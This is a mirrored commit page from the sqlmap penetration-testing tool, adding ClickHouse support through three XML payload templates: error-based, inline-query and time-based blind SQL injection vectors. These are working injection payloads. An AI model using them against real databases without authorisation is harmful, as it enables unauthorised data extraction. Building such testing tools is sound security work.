PenTest/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2026-01-08 15:49:01 +00:00
Code Issues Projects Releases Wiki Activity

Add Clickhouse support (#5229)

Browse Source 
Co-authored-by: pentest <>
This commit is contained in:
Alexis Danizan
2023-02-03 23:10:12 +01:00
committed by GitHub
parent c58383e684
commit 8962e152ac
19 changed files with 335 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files

20
data/xml/payloads/error_based.xml
View File

@@ -853,6 +853,26 @@
</details>
</test>
<test>
<title>Clickhouse AND error-based - Parameter replace</title>
<stype>2</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]' AS String)</vector>
<request>
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]' AS String)</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Clickhouse</dbms>
</details>
</test>
<!--
TODO: if possible, add payload for SQLite, Microsoft Access,
and SAP MaxDB - no known techniques at this time

20
data/xml/payloads/inline_query.xml
View File

@@ -133,5 +133,25 @@
<dbms>Firebird</dbms>
</details>
</test>
<test>
<title>Clickhouse inline queries</title>
<stype>3</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT '[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]')</vector>
<request>
<payload>(SELECT '[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Clickhouse</dbms>
</details>
</test>
<!-- End of inline queries tests -->
</root>

20
data/xml/payloads/time_blind.xml
View File

@@ -1494,6 +1494,26 @@
</details>
</test>
<test>
<title>Clickhouse AND time-based blind (heavy query) - fuzzBits</title>
<stype>5</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3</clause>
<where>1</where>
<vector>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))</vector>
<request>
<payload>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>Clickhouse</dbms>
</details>
</test>
<!-- End of time-based boolean tests -->
<!-- Time-based boolean tests - Numerous clauses -->